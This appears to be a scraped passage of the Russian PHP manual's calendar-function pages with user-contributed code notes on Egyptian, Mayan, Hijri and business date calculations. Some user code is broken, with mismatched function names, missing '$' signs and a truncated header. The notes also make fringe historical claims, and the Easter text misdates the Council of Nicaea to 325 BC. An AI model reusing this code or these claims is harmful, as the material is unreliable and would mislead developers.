This section of code need to be changed in the calculation I noticed today in our RounCalendar we had a zero day this function will calculate the month and day correctly for the calendars, it is a pretty universe piece of code, I am sorry it wasn't properly tested and need some refactoring.
simon at chronolabs dot org dot au 09-Nov-2007 11:44
This is the egyptian calendar which was the first 365 day calendar on the planet it has no leap year which makes it a little inaccurate but you can work on your own implementation of this code when you like, this is another implementation of the roun floating point code which is a universal code for generating date codec's you can make practically all calendars with this code the $pweight is based on my research on carbon date stamping etc of when egypt epoch or PPO was made, some people argue a few thousand years while other can date egypts epoch being around 30000 years ago!! This is on the basis of tidal marking on statues and momuments when the are was covered in water after construction from sea level rising.

<?php

print_r(EgyptCalendar(time(),0));

function EgyptianCalendar($unix_time, $gmt,
                 $poffset = '1970-02-26 7:45 PM',
                 $pweight = '-9777600.22222222223',
                 $defiency='nonedeficient',
                 $timeset= array("hours" => 24,
                                 "minutes" => 60,
                                 "seconds" => 60))
{
// Code Segment 1 - Calculate Floating Point
$tme = $unix_time;

if ($gmt>0){$gmt=-$gmt;} else {$gmt=abs($gmt);}

$ptime = strtotime($poffset)+(60*60*gmt);
$weight = $pweight+(1*gmt);

$egypt_xa = ($tme)/(24*60*60);
$egypt_ya = $ptime/(24*60*60);
$egypt = (($egypt_xa -$egypt_ya) -
         $weight)+(microtime/999999);

// Code Segment 2 - Set month day arrays
$nonedeficient = array(
   "seq1" => array(30,30,30,30,30,30,30,30,30,30,30,30,5));

$monthnames = array(
   "seq1" => array('Thoth','Phaophi','Athyr','Choiak',
   'Tybi', 'Mecheir','Phamenoth','Pharmuthi','Pachon',
   'Payni','Epiphi','Mesore','epagomenai'));

$monthusage = isset($defiency) ? ${$defiency} : $deficient;

// Code Segment 3 - Calculate month number, day number
foreach($monthusage as $key => $item){
    $i++;
    foreach($item as $numdays){
        $ttl_num=$ttl_num+$numdays;
        $ttl_num_months++;
    }
}

$revolutionsperyear = $ttl_num / $i;
$numyears = egyptd((floor($egypt) / $revolutionsperyear),0);
$avg_num_month = $ttl_num_months/$i;
$jtl = abs(abs($egypt) -
       ceil($revolutionsperyear*($numyears+1)));

while($month==0){
    $day=0;
    $u=0;
    foreach($monthusage as $key => $item){
        $t=0;
        foreach($item as $numdays){
            $t++;
            $tt=0;
            for($sh=1;$sh<=$numdays;$sh++){
                $ii=$ii+1;
                $tt++;
                if ($ii==floor($jtl)){
                    if ($egypt>0){
                        $daynum = $tt;
                        $month = $t;
                    } else {
                        $daynum = $numdays-$tt;
                        $month = $avg_num_month-$t;
                    }
                    $sequence = $key;
                    $nodaycount=true;
                }
            }
            if ($nodaycount==false)
                $day++;
        }
        $u++;
    }
}

//$numyears = abs($numyears);

$timer = substr($egypt, strpos($egypt,'.')+1,
    strlen($egypt)-strpos($egypt,'.')-1);
$egypt_out= $numyears.'/'.$month.'/'.$daynum.' '.$day.'.'.
    floor(intval(substr($timer,0,2))/100*$timeset['hours']).':'.
    floor(intval(substr($timer,2,2))/100*$timeset['minutes']).':'.
    floor(intval(substr($timer,4,2))/100*$timeset['seconds']).'.'.
    substr($timer,6,strlen($timer)-6);
$egypt_obj = array('year'=>$numyears,
    'month'=>$month,
    'mname' => $monthnames[$sequence][$month-1],
    'day'=>$daynum,
    'jtl'=>$jtl,
    'day_count'=>$day,
    'hours'=>floor(intval(substr($timer,0,2))/100
             *$timeset['hours']),
    'minute'=>floor(intval(substr($timer,2,2))/100
              *$timeset['minutes']),
    'seconds'=>floor(intval(substr($timer,4,2))/100
               *$timeset['seconds']),
    'microtime'=>substr($timer,6,strlen($timer)-6),
                 'strout'=>$egypt_out);

return $egypt_obj;
}

?>

btw in my previous post of the Mayan Tikal calendar the top part of the function was chopped off in my code cut and paste that is the line for the function which looks like, the top 3 line will need to be replace with:

<?php

print_r(MayanTikalCalendar(time(),0));

function MayanTikalCalendar($unix_time, $gmt,

?>
simon at chronolabs dot org dot au 08-Nov-2007 05:27
Well this is the second part, well more the second calendar of Maya the Tikal there is two of them one for long count, one for general date seeding, this is using an implementation of floating point time (roun).

<?php

$maya = MayanTikalCalendar(time(),0);

print_r($maya);

                 $poffset = '2012-12-21 8:24 PM',
                 $pweight = '-1872000.22222222223',
                 $defiency='nonedeficient',
                 $timeset= array("hours" => 24,
                                 "minutes" => 60,
                                 "seconds" => 60))
{
// Code Segment 1 - Calculate Floating Point
$tme = $unix_time;
if ($gmt>0){ $gmt=-$gmt; } else { $gmt=abs($gmt); }

$ptime = strtotime($poffset)+(60*60*gmt);
$maya_xa = ($tme)/(24*60*60);
$maya_ya = $ptime/(24*60*60);
$maya = (($maya_xa -$maya_ya) - $pweight)+(microtime/999999);

// Code Segment 2 - Set month day arrays
$nonedeficient = array(
"seq1" => array(20,20,20,20,20,20,20,20,20,
                20,20,20,20,20,20,20,20,20,5));

$monthnames = array("seq1" => array(
 'Pop', 'Uo', 'Zip', 'Zot\'z', 'Tzec', 'Xul',
 'Yaxkin', 'Mol', 'Ch\'en', 'Yax', 'Zac', 'Ceh',
 'Mac', 'Kankin', 'Muan', 'Pax', 'Kayab',
 'Cumku', 'Uayeb'));
$daynames = array("seq1" => array(
 'Imix', 'Ik', 'Akbal', 'Kan', 'Chicchan',
 'Cimi','Manik', 'Lamat', 'Muluc', 'Oc',
 'Chuen', 'Eb', 'Ben', 'Ix', 'Men',
 'Cib', 'Caban', 'Etz\'nab', 'Cauac', 'Ahau'));
$monthusage = isset($defiency) ? ${$defiency} : $deficient;

// Code Segment 3 - Calculate month number, day numbers etc
foreach($monthusage as $key => $item){
    $i++;
    foreach($item as $numdays){
        $ttl_num=$ttl_num+$numdays;
        $ttl_num_months++;
    }
}

$revolutionsperyear = $ttl_num / $i;
$numyears = (round((floor($maya) / $revolutionsperyear),0));
$avg_num_month = $ttl_num_months/$i;
$jtl = abs(abs($maya) -
       ceil($revolutionsperyear*($numyears+1)));

while($month==0){
    $day=0;
    $u=0;
    foreach($monthusage as $key => $item){
        $t=0;
        foreach($item as $numdays){
            $t++;
            $tt=0;
            for($sh=1;$sh<=$numdays;$sh++){
                $ii=$ii+1;
                $tt++;
                if ($ii==floor($jtl)){
                    if ($maya>0){
                        $daynum = $tt;
                        $month = $t;
                    } else {
                        $daynum = $numdays-$tt;
                        $month = $avg_num_month-$t;
                    }
                    $sequence = $key;
                    $nodaycount=true;
                }
            }
            if ($nodaycount==false)
                $day++;
        }
        $u++;
    }
}

$timer = substr($maya, strpos($maya,'.')+1,
         strlen($maya)-strpos($maya,'.')-1);
$maya_out= $numyears.'/'.$month.'/'.$daynum.' '.$day.'.'.
  floor(intval(substr($timer,0,2))/100*$timeset['hours']).':'.
  floor(intval(substr($timer,2,2))/100*$timeset['minutes']).':'.
  floor(intval(substr($timer,4,2))/100*$timeset['seconds']).'.'.
  substr($timer,6,strlen($timer)-6);

$maya_obj = array(
  'longcount'=>MayanLongCount($tme),'year'=>abs($numyears),
  'month'=>$month, 'mname' => $monthnames[$sequence][$month-1],
  'day'=>$daynum, 'dayname'=>$daynames[$sequence][$daynum-1],
  'day'=>$daynum, 'jtl'=>$jtl, 'day_count'=>$day,
  'hours'=>     floor(intval(substr($timer,0,2))/100
             *$timeset['hours']),
  'minute'=> floor(intval(substr($timer,2,2))/100
             *$timeset['minutes']),
  'seconds'=>floor(intval(substr($timer,4,2))/100
             *$timeset['seconds']),
  'microtime'=>substr($timer,6,strlen($timer)-6),
  'strout'=>$maya_out);

return $maya_obj;
}

?>
simon at chronolabs dot org dot au 07-Nov-2007 10:00
This will return the mayan long count calendar which cycle reaches 13.0.0.0.0 in 2012, I have had to compress the changemaya function for this code library so if you want to space it out your more than welcome. It works with unix time. To call the routine use the following syntax. The mayan calendar is a day count that is around 5000 years old, it tracks our cestial position in the galaxy

<?php

echo MayanLongCount(time());

function MayanLongCount($tme){

    $config = array('ppo' => array(13,0,0,0,0),
                    'epoch' => strtotime('2012-12-21'));

    $diff=(($tme-$config['epoch'])/(60*60*24));
    $ppo = changemaya($config['ppo'],ceil($diff));

    return $ppo[0].'.'.$ppo[1].'.'.$ppo[2].'.'.$ppo[3].'.'.$ppo[4];
}

function changemaya($ppo,$diff){
if ($diff>0) { $amount=1; } else { $amount=-1; }
for ($sh=1;$sh<abs($diff);$sh++){ if ($ppo[4]+$amount>20){
if ($ppo[3]+$amount>20){ if ($ppo[2]+$amount>20){
if ($ppo[1]+$amount>20){ if ($ppo[0]+$amount>20){
$ppo[0]=0; $ppo[1]=0; $ppo[2]=0; $ppo[3]=0; $ppo[4]=0;
} else { $ppo[1]=0; $ppo[0]=$ppo[0]+$amount;}
} else { $ppo[2]=0; $ppo[1]=$ppo[1]+$amount;    }
} else {$ppo[3]=0; $ppo[2]=$ppo[2]+$amount; }
} else { $ppo[4]=0; $ppo[3]=$ppo[3]+$amount; }
} elseif ($ppo[4]+$amount<0){ if ($ppo[3]+$amount<0){
if ($ppo[2]+$amount<0){    if ($ppo[1]+$amount<0){
if ($ppo[0]+$amount<0){    $ppo[0]=20;    $ppo[1]=0;
$ppo[2]=0; $ppo[3]=0; $ppo[4]=0;
} else { $ppo[1]=20; $ppo[0]=$ppo[0]+$amount; }
} else { $ppo[2]=20; $ppo[1]=$ppo[1]+$amount; }
} else { $ppo[3]=20; $ppo[2]=$ppo[2]+$amount; }
} else { $ppo[4]=20; $ppo[3]=$ppo[3]+$amount; }
} else { $ppo[4]=$ppo[4]+$amount;}}
    return $ppo;
}

?>

Thanks!!
david dot scourfield at llynfi dot co dot uk 17-Aug-2007 03:13
I created this function a while ago and needed it again recently, so had to trawl through some old files to find it. Thought I'd post it here in case anyone else finds it useful.

<?php

/*
 *    Function to calculate which days are British bank holidays (England & Wales) for a given year.
 *
 *    Created by David Scourfield, 07 August 2006, and released into the public domain.
 *    Anybody may use and/or modify this code.
 *
 *    USAGE:
 *
 *    array calculateBankHolidays(int $yr)
 *
 *    ARGUMENTS
 *
 *    $yr = 4 digit numeric representation of the year (eg 1997).
 *
 *    RETURN VALUE
 *
 *    Returns an array of strings where each string is a date of a bank holiday in the format "yyyy-mm-dd".
 *
 *    See example below
 *
 */

function calculateBankHolidays($yr) {

    $bankHols = Array();

    // New year's:
    switch ( date("w", strtotime("$yr-01-01 12:00:00")) ) {
        case 6:
            $bankHols[] = "$yr-01-03";
            break;
        case 0:
            $bankHols[] = "$yr-01-02";
            break;
        default:
            $bankHols[] = "$yr-01-01";
    }

    // Good friday:
    $bankHols[] = date("Y-m-d", strtotime( "+".(easter_days($yr) - 2)." days", strtotime("$yr-03-21 12:00:00") ));

    // Easter Monday:
    $bankHols[] = date("Y-m-d", strtotime( "+".(easter_days($yr) + 1)." days", strtotime("$yr-03-21 12:00:00") ));

    // May Day:
    if ($yr == 1995) {
        $bankHols[] = "1995-05-08"; // VE day 50th anniversary year exception
    } else {
        switch (date("w", strtotime("$yr-05-01 12:00:00"))) {
            case 0:
                $bankHols[] = "$yr-05-02";
                break;
            case 1:
                $bankHols[] = "$yr-05-01";
                break;
            case 2:
                $bankHols[] = "$yr-05-07";
                break;
            case 3:
                $bankHols[] = "$yr-05-06";
                break;
            case 4:
                $bankHols[] = "$yr-05-05";
                break;
            case 5:
                $bankHols[] = "$yr-05-04";
                break;
            case 6:
                $bankHols[] = "$yr-05-03";
                break;
        }
    }

    // Whitsun:
    if ($yr == 2002) { // exception year
        $bankHols[] = "2002-06-03";
        $bankHols[] = "2002-06-04";
    } else {
        switch (date("w", strtotime("$yr-05-31 12:00:00"))) {
            case 0:
                $bankHols[] = "$yr-05-25";
                break;
            case 1:
                $bankHols[] = "$yr-05-31";
                break;
            case 2:
                $bankHols[] = "$yr-05-30";
                break;
            case 3:
                $bankHols[] = "$yr-05-29";
                break;
            case 4:
                $bankHols[] = "$yr-05-28";
                break;
            case 5:
                $bankHols[] = "$yr-05-27";
                break;
            case 6:
                $bankHols[] = "$yr-05-26";
                break;
        }
    }

    // Summer Bank Holiday:
    switch (date("w", strtotime("$yr-08-31 12:00:00"))) {
        case 0:
            $bankHols[] = "$yr-08-25";
            break;
        case 1:
            $bankHols[] = "$yr-08-31";
            break;
        case 2:
            $bankHols[] = "$yr-08-30";
            break;
        case 3:
            $bankHols[] = "$yr-08-29";
            break;
        case 4:
            $bankHols[] = "$yr-08-28";
            break;
        case 5:
            $bankHols[] = "$yr-08-27";
            break;
        case 6:
            $bankHols[] = "$yr-08-26";
            break;
    }

    // Christmas:
    switch ( date("w", strtotime("$yr-12-25 12:00:00")) ) {
        case 5:
            $bankHols[] = "$yr-12-25";
            $bankHols[] = "$yr-12-28";
            break;
        case 6:
            $bankHols[] = "$yr-12-27";
            $bankHols[] = "$yr-12-28";
            break;
        case 0:
            $bankHols[] = "$yr-12-26";
            $bankHols[] = "$yr-12-27";
            break;
        default:
            $bankHols[] = "$yr-12-25";
            $bankHols[] = "$yr-12-26";
    }

    // Millenium eve
    if ($yr == 1999) {
        $bankHols[] = "1999-12-31";
    }

    return $bankHols;

}

/*
 *    EXAMPLE:
 *
 */

header("Content-type: text/plain");

$bankHolsThisYear = calculateBankHolidays(2007);

print_r($bankHolsThisYear);

?>

Will output this result:

Array
(
    [0] => 2007-01-01
    [1] => 2007-04-06
    [2] => 2007-04-09
    [3] => 2007-05-07
    [4] => 2007-05-28
    [5] => 2007-08-27
    [6] => 2007-12-25
    [7] => 2007-12-26
)
amichauer at gmx dot de 27-Jun-2005 09:46
<?php

class HijriCalendar
{
    function monthName($i) // $i = 1..12
    {
        static $month  = array(
            "M?x?rr?m", "Safar", "Rabig-?l-?ww?l", "Rabig-?l-Ax?r",
            "C?m?d-?l-?ww?l", "C?m?d-?l-Ax?r", "Rac?b", "???b?n",
            "Ramazan", "??w?l", "Z?-?l-Q??d?", "Z?-?l-Xicc?"
        );
        return $month[$i-1];
    }

    function GregorianToHijri($time = null)
    {
        if ($time === null) $time = time();
        $m = date('m', $time);
        $d = date('d', $time);
        $y = date('Y', $time);

        return HijriCalendar::JDToHijri(
            cal_to_jd(CAL_GREGORIAN, $m, $d, $y));
    }

    function HijriToGregorian($m, $d, $y)
    {
        return jd_to_cal(CAL_GREGORIAN,
            HijriCalendar::HijriToJD($m, $d, $y));
    }

    # Julian Day Count To Hijri
    function JDToHijri($jd)
    {
        $jd = $jd - 1948440 + 10632;
        $n  = (int)(($jd - 1) / 10631);
        $jd = $jd - 10631 * $n + 354;
        $j  = ((int)((10985 - $jd) / 5316)) *
            ((int)(50 * $jd / 17719)) +
            ((int)($jd / 5670)) *
            ((int)(43 * $jd / 15238));
        $jd = $jd - ((int)((30 - $j) / 15)) *
            ((int)((17719 * $j) / 50)) -
            ((int)($j / 16)) *
            ((int)((15238 * $j) / 43)) + 29;
        $m  = (int)(24 * $jd / 709);
        $d  = $jd - (int)(709 * $m / 24);
        $y  = 30*$n + $j - 30;

        return array($m, $d, $y);
    }

    # Hijri To Julian Day Count
    function HijriToJD($m, $d, $y)
    {
        return (int)((11 * $y + 3) / 30) +
            354 * $y + 30 * $m -
            (int)(($m - 1) / 2) + $d + 1948440 - 385;
    }
};

$hijri = HijriCalendar::GregorianToHijri( time() );
echo $hijri[1].'. '.HijriCalendar::monthName($hijri[0]).' '.$hijri[2];

?>
jthome at fcgov dot com 02-Oct-2003 11:38
Had a similar problem as curlee, except I needed to create a JDE_ERP date.  [format is CYYDDD]

<?php

function jde_date_create($month, $day, $year){
    /*
    *  NOTE: $month and $day CANNOT have leading zeroes,
    *        $year must be'YYYY' format
    */
    $jde_year_prefix = substr($year, 0, 1) - 1;
    $jde_year_suffix = substr($year, -2);

    //note that valid years for mktime are 1902-2037
    $timestamp = mktime(0,0,0,$month, $day, $year);
    $baseline_timestamp = mktime(0,0,0,1,0,$year);

    $day_count = round(($timestamp - $baseline_timestamp)/86400);
    $day_count_padded = str_pad($day_count,3,"0",STR_PAD_LEFT);

    return ($jde_year_prefix . $jde_year_suffix . $day_count_padded);

}

echo jde_date_create(6,25,2000);// will return '103176'

?>

--
Jim
curlee at mindspring dot com 29-Aug-2003 08:55
I solved a problem with Julian dates that are used in the JD Edwards ERP package (running on AS/400).  The Julian format for this system is as follows:  CYYDDD

Where C is 0 for 1900 and 1 for 2000
DDD is the day of the year count

I used the mktime built-in php function to convert dates to the normal DD/MM/YYYY format.  This function will convert dates that are between 1970 and 2038 (limitation of unix timestamps and the mktime function)

The $jde_date var needs to be a 6 len STRING.... if you use a numeric var type it will drop the leading 0 for any date that represents 1900.... this will botch the substr functions and thus make the whole thing wrong.

<?php
function jde_date_conv($jde_date)
{

$ct = substr($jde_date,0,1);
$yr = substr($jde_date,1,2);
$dy = substr($jde_date,3,3);

if($ct == 0) $yr_pfx = 19;
if($ct == 1) $yr_pfx = 20;

$tlt_yr = $yr_pfx.$yr;

$base_time = mktime(0,0,0,1,0,$tlt_yr);

$unix_time = ($dy * 86400) + $base_time;

return date("m/d/Y" , $unix_time);
}
?>


Возвращает количество дней в месяце для заданного года и календаря

  • « Календарь
  • cal_from_jd »
  • PHP Manual
  • Календарь
  • Возвращает количество дней в месяце для заданного года и календаря

cal_days_in_month

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

cal_days_in_month — Возвращает количество дней в месяце для заданного года и календаря

Описание

cal_days_in_month(int $calendar, int $month, int $year): int

Эта функция возвращает количество дней в месяце month года year для заданного календаря calendar.

Список параметров

calendar

Календарь, используемый для вычисления

month

Месяц в выбранном календаре

year

Год в выбранном календаре

Возвращаемые значения

Количество дней в конкретном месяце выбранного календаря

Примеры

Пример #1 Пример использования cal_days_in_month()

<?php
$number = cal_days_in_month(CAL_GREGORIAN, 8, 2003); // 31
echo "Всего {$number} дней в Августе 2003 года";
?>

User Contributed Notes

datlx at yahoo dot com 31-Aug-2022 03:59
function lastDayOfMonth(string $time, int $deltaMonth, string $format = 'Y-m-d')
{
    try {
        $year = date('Y', strtotime($time));
        $month = date('m', strtotime($time));

        $increaYear = floor(($deltaMonth + $month - 1) / 12);

        $year += $increaYear;
        $month = (($deltaMonth + $month) % 12) ?: 12;
        $day = cal_days_in_month(CAL_GREGORIAN, $month, $year);

        return $time . ' + ' . $deltaMonth . ' => ' . date($format, strtotime($year . '-' . $month . '-' . $day)) . "\n";
    } catch (Exception $e) {
        throw $e;
    }
}
brian at b5media dot com 04-Dec-2007 04:55
Remember if you just want the days in the current month, use the date function:
$days = date("t");
geko45pj at yahoo dot com 18-Jul-2007 11:28
<?php
# PHP Calendar (version 2.3), written by Keith Devens

function generate_calendar($year, $month, $days = array(), $day_name_length = 3, $month_href = NULL, $first_day = 0, $pn = array()){
    $first_of_month = gmmktime(0,0,0,$month,1,$year);

    #remember that mktime will automatically correct if invalid dates are entered
    # for instance, mktime(0,0,0,12,32,1997) will be the date for Jan 1, 1998
    # this provides a built in "rounding" feature to generate_calendar()

    $day_names = array(); #generate all the day names according to the current locale
    for($n=0,$t=(3+$first_day)*86400; $n<7; $n++,$t+=86400) #January 4, 1970 was a Sunday
        $day_names[$n] = ucfirst(gmstrftime('%A',$t)); #%A means full textual day name

    list($month, $year, $month_name, $weekday) = explode(',',gmstrftime('%m,%Y,%B,%w',$first_of_month));
    $weekday = ($weekday + 7 - $first_day) % 7; #adjust for $first_day
    $title   = htmlentities(ucfirst($month_name)).'&nbsp;'.$year;  #note that some locales don't capitalize month and day names

    #Begin calendar. Uses a real <caption>. See http://diveintomark.org/archives/2002/07/03
    @list($p, $pl) = each($pn); @list($n, $nl) = each($pn); #previous and next links, if applicable
    if($p) $p = '<span class="calendar-prev">'.($pl ? '<a href="'.htmlspecialchars($pl).'">'.$p.'</a>' : $p).'</span>&nbsp;';
    if($n) $n = '&nbsp;<span class="calendar-next">'.($nl ? '<a href="'.htmlspecialchars($nl).'">'.$n.'</a>' : $n).'</span>';
    $calendar = '<table class="calendar">'."\n".
        '<caption class="calendar-month">'.$p.($month_href ? '<a href="'.htmlspecialchars($month_href).'">'.$title.'</a>' : $title).$n."</caption>\n<tr>";

    if($day_name_length){ #if the day names should be shown ($day_name_length > 0)
        #if day_name_length is >3, the full name of the day will be printed
        foreach($day_names as $d)
            $calendar .= '<th abbr="'.htmlentities($d).'">'.htmlentities($day_name_length < 4 ? substr($d,0,$day_name_length) : $d).'</th>';
        $calendar .= "</tr>\n<tr>";
    }

    if($weekday > 0) $calendar .= '<td colspan="'.$weekday.'">&nbsp;</td>'; #initial 'empty' days
    for($day=1,$days_in_month=gmdate('t',$first_of_month); $day<=$days_in_month; $day++,$weekday++){
        if($weekday == 7){
            $weekday   = 0; #start a new week
            $calendar .= "</tr>\n<tr>";
        }
        if(isset($days[$day]) and is_array($days[$day])){
            @list($link, $classes, $content) = $days[$day];
            if(is_null($content))  $content  = $day;
            $calendar .= '<td'.($classes ? ' class="'.htmlspecialchars($classes).'">' : '>').
                ($link ? '<a href="'.htmlspecialchars($link).'">'.$content.'</a>' : $content).'</td>';
        }
        else $calendar .= "<td>$day</td>";
    }
    if($weekday != 7) $calendar .= '<td colspan="'.(7-$weekday).'">&nbsp;</td>'; #remaining "empty" days

    return $calendar."</tr>\n</table>\n";
}
echo generate_calendar(2010, 12, 16,3,NULL,0,15, $first_of_month, $day_names, $day_names[$n]);
#echo generate_calendar($year, $month, $days,$day_name_length,$month_href,$first_day,$pn);
?>
jeffbeall at comcast dot net 14-Apr-2004 10:04
This will work great in future dates but will give the wrong answer for dates before 1550 (approx) when leap year was introduced and the calendar lost a year or two.
Sorry now to be more specific it has been a while sine I had to account for those later dates and had to take that into account but just a heads up for others to watch out.
dbindel at austin dot rr dot com 01-Jan-2004 09:06
Here's a one-line function I just wrote to find the numbers of days in a month that doesn't depend on any other functions.

The reason I made this is because I just found out I forgot to compile PHP with support for calendars, and a class I'm writing for my website's open source section was broken. So rather than recompiling PHP (which I will get around to tomorrow I guess), I just wrote this function which should work just as well, and will always work without the requirement of PHP's calendar extension or any other PHP functions for that matter.

I learned the days of the month using the old knuckle & inbetween knuckle method, so that should explain the mod 7 part. :)

<?php
/*
 * days_in_month($month, $year)
 * Returns the number of days in a given month and year, taking into account leap years.
 *
 * $month: numeric month (integers 1-12)
 * $year: numeric year (any integer)
 *
 * Prec: $month is an integer between 1 and 12, inclusive, and $year is an integer.
 * Post: none
 */
// corrected by ben at sparkyb dot net
function days_in_month($month, $year)
{
// calculate number of days in a month
return $month == 2 ? ($year % 4 ? 28 : ($year % 100 ? 29 : ($year % 400 ? 28 : 29))) : (($month - 1) % 7 % 2 ? 30 : 31);
}
?>

Enjoy,
David Bindel


Преобразует дату, заданную в юлианском календаре, в дату указанного календаря

  • « cal_days_in_month
  • cal_info »
  • PHP Manual
  • Календарь
  • Преобразует дату, заданную в юлианском календаре, в дату указанного календаря

cal_from_jd

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

cal_from_jd — Преобразует дату, заданную в юлианском календаре, в дату указанного календаря

Описание

cal_from_jd(int $julian_day, int $calendar): array

cal_from_jd() преобразует дату юлианского календаря, заданную в julian_day, в дату указанного календаря calendar. Поддерживаемые значения calendar: CAL_GREGORIAN, CAL_JULIAN, CAL_JEWISH и CAL_FRENCH.

Список параметров

julian_day

День юлианского календаря как целое число

calendar

Календарь, в который нужно преобразовать дату

Возвращаемые значения

Возвращает массив, содержащий информацию о дате, такую как месяц, день, год, день недели (dow), сокращённое и полное название дня недели, месяца и дату в форме "месяц/день/год". День недели варьируется от 0 (воскресенье) to 6 (суббота).

Примеры

Пример #1 Пример использования cal_from_jd()

<?php
$today = unixtojd(mktime(0, 0, 0, 8, 16, 2003));
print_r(cal_from_jd($today, CAL_GREGORIAN));
?>

Результат выполнения данного примера:

Array
(
    [date] => 8/16/2003
    [month] => 8
    [day] => 16
    [year] => 2003
    [dow] => 6
    [abbrevdayname] => Sat
    [dayname] => Saturday
    [abbrevmonth] => Aug
    [monthname] => August
)

Смотрите также

  • cal_to_jd() - Преобразует заданную дату в юлианскую
  • jdtofrench() - Переводит число дней в юлианском летоисчислении в дату по французскому республиканскому календарю
  • jdtogregorian() - Переводит число дней в юлианском летоисчислении в дату по Григорианскому календарю
  • jdtojewish() - Переводит количество дней из юлианского календаря в дату по еврейскому календарю
  • jdtojulian() - Переводит число дней в юлианском летоисчислении в дату по юлианскому календарю
  • jdtounix() - Переводит число дней в юлианском летоисчислении в метку времени Unix

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию о заданном календаре

  • « cal_from_jd
  • cal_to_jd »
  • PHP Manual
  • Календарь
  • Возвращает информацию о заданном календаре

cal_info

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

cal_info — Возвращает информацию о заданном календаре

Описание

cal_info(int $calendar = -1): array

cal_info() возвращает информацию о заданном календаре calendar.

Информация о календаре возвращается в виде массива с элементами calname, calsymbol, month, abbrevmonth и maxdaysinmonth В качестве calendar могут быть использованы следующие названия календарей:

  • 0 or CAL_GREGORIAN - Григорианский календарь
  • 1 or CAL_JULIAN - Юлианский календарь
  • 2 or CAL_JEWISH - Еврейский календарь
  • 3 or CAL_FRENCH - Календарь со дня Французской революции

Если параметр calendar не задан, возвращается информация о всех поддерживаемых календарях в виде массива.

Список параметров

calendar

Календарь, о котором будет возвращена информация. Если параметр не задан, возвращается информация обо всех календарях.

Возвращаемые значения

Примеры

Пример #1 Пример cal_info()

<?php
$info = cal_info(0);
print_r($info);
?>

Результат выполнения данного примера:

Array
(
    [months] => Array
        (
            [1] => January
            [2] => February
            [3] => March
            [4] => April
            [5] => May
            [6] => June
            [7] => July
            [8] => August
            [9] => September
            [10] => October
            [11] => November
            [12] => December
        )

    [abbrevmonths] => Array
        (
            [1] => Jan
            [2] => Feb
            [3] => Mar
            [4] => Apr
            [5] => May
            [6] => Jun
            [7] => Jul
            [8] => Aug
            [9] => Sep
            [10] => Oct
            [11] => Nov
            [12] => Dec
        )

    [maxdaysinmonth] => 31
    [calname] => Gregorian
    [calsymbol] => CAL_GREGORIAN
)

User Contributed Notes

There are no user contributed notes for this page.


Преобразует заданную дату в юлианскую

  • « cal_info
  • easter_date »
  • PHP Manual
  • Календарь
  • Преобразует заданную дату в юлианскую

cal_to_jd

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

cal_to_jd — Преобразует заданную дату в юлианскую

Описание

cal_to_jd(
int $calendar,
int $month,
int $day,
int $year
): int

cal_to_jd() рассчитывает количество дней в юлианском календаре для даты в указанном календаре calendar. Список поддерживаемых календарей calendar: CAL_GREGORIAN, CAL_JULIAN, CAL_JEWISH и CAL_FRENCH.

Список параметров

calendar

Календарь, из которого будет произведена конвертация, одна из констант: CAL_GREGORIAN, CAL_JULIAN, CAL_JEWISH или CAL_FRENCH.

month

Месяц в виде числа, разрешённый диапазон зависит от календаря calendar.

day

День в виде числа, разрешённый диапазон зависит от календаря calendar.

year

Год в виде числа, разрешённый диапазон зависит от календаря calendar.

Возвращаемые значения

Количество дней в юлианском календаре.

Смотрите также

  • cal_from_jd() - Преобразует дату, заданную в юлианском календаре, в дату указанного календаря
  • frenchtojd() - Преобразует дату Французского республиканского календаря в количество дней в Юлианском летоисчислении
  • gregoriantojd() - Преобразует дату по григорианскому календарю в количество дней в юлианском летоисчислении
  • jewishtojd() - Переводит дату по еврейскому календарю в число дней в юлианском летоисчислении
  • juliantojd() - Переводит дату по юлианскому календарю в число дней в юлианском летоисчислении
  • unixtojd() - Переводит метку времени Unix в юлианский день

User Contributed Notes

ashton at ieee dot org 18-Sep-2016 07:48
The earliest supported date in the Julian calendar is January 2, 4713 BC. The corresponding Julian day count is 1. PHP treats -4713 as equal to 4713 BC, and does not allow the year 0; this practice is different than the custom of astronomers, who treat -4712 as equal to 4713 BC.
ashton at ieee dot org 18-Sep-2016 07:46
Julian days begin at noon, while the days of the Gregorian and Julian calendars are usually thought of as beginning at midnight. For the Gregorian and Julian calendars, the function behaves as if the conversion were performed at noon.


Получить метку времени Unix, соответствующую полуночи на Пасху в заданном году

  • « cal_to_jd
  • easter_days »
  • PHP Manual
  • Календарь
  • Получить метку времени Unix, соответствующую полуночи на Пасху в заданном году

easter_date

(PHP 4, PHP 5, PHP 7, PHP 8)

easter_date — Получить метку времени Unix, соответствующую полуночи на Пасху в заданном году

Описание

easter_date(?int $year = null, int $mode = CAL_EASTER_DEFAULT): int

Возвращает метку времени Unix, соответствующую полуночи на Пасху в заданном году.

Дата Пасхи была установлена на Первом Никейском соборе в 325 году до н. э. в честь воскресенья, следовавшего за полнолунием, наступившим в день или после весеннего равноденствия. Считалось, что День весеннего равноденствия всегда наступает 21 марта, поэтому расчёт дня Пасхи сводился к определению даты полнолуния и следующего за ней воскресенья. Используемый здесь алгоритм введён Дионисием Малым около 532 года. В юлианском летоисчислении (до 1753 года) для отслеживания фаз луны использовался простой 19-летний цикл. В григорианском календаре (годы после 1753 - разработан Христофором Клавиусом и Алоизием Лилиусом и введён Папой Григорием XIII в октябре 1582, а в Великобритании и её колониях в сентябре 1752 г.) было добавлено 2 поправочных коэффициента, увеличивающих точность расчёта дат.

Список параметров

year

Год должен быть числом от 1970 до 2037 для 32-битных или 2 000 000 000 для 64-битных систем. Если не указан или null, будет использован текущий год по местному времени.

mode

Позволяет рассчитывать даты Пасхи на основе Юлианского календаря, если установлено значение CAL_EASTER_ALWAYS_JULIAN. Смотрите также константы календаря.

Возвращаемые значения

Возвращает дату Пасхи в виде метки времени Unix.

Ошибки

Будет выброшено исключение ValueError, если значение года окажется меньше 1970 или больше 2037 для 32-битных или 2 000 000 000 для 64-битных систем.

Список изменений

Версия | Описание
8.3.0 | На 64-битных системах параметр year теперь принимает значения в диапазоне от 1970 до 2 000 000 000.
8.0.0 | Параметр year теперь может иметь значение null.
8.0.0 | Будет выброшено исключение ValueError, если значение параметра year выходит за пределы допустимого диапазона. Ранее вызывалась ошибка уровня E_WARNING и функция возвращала false.

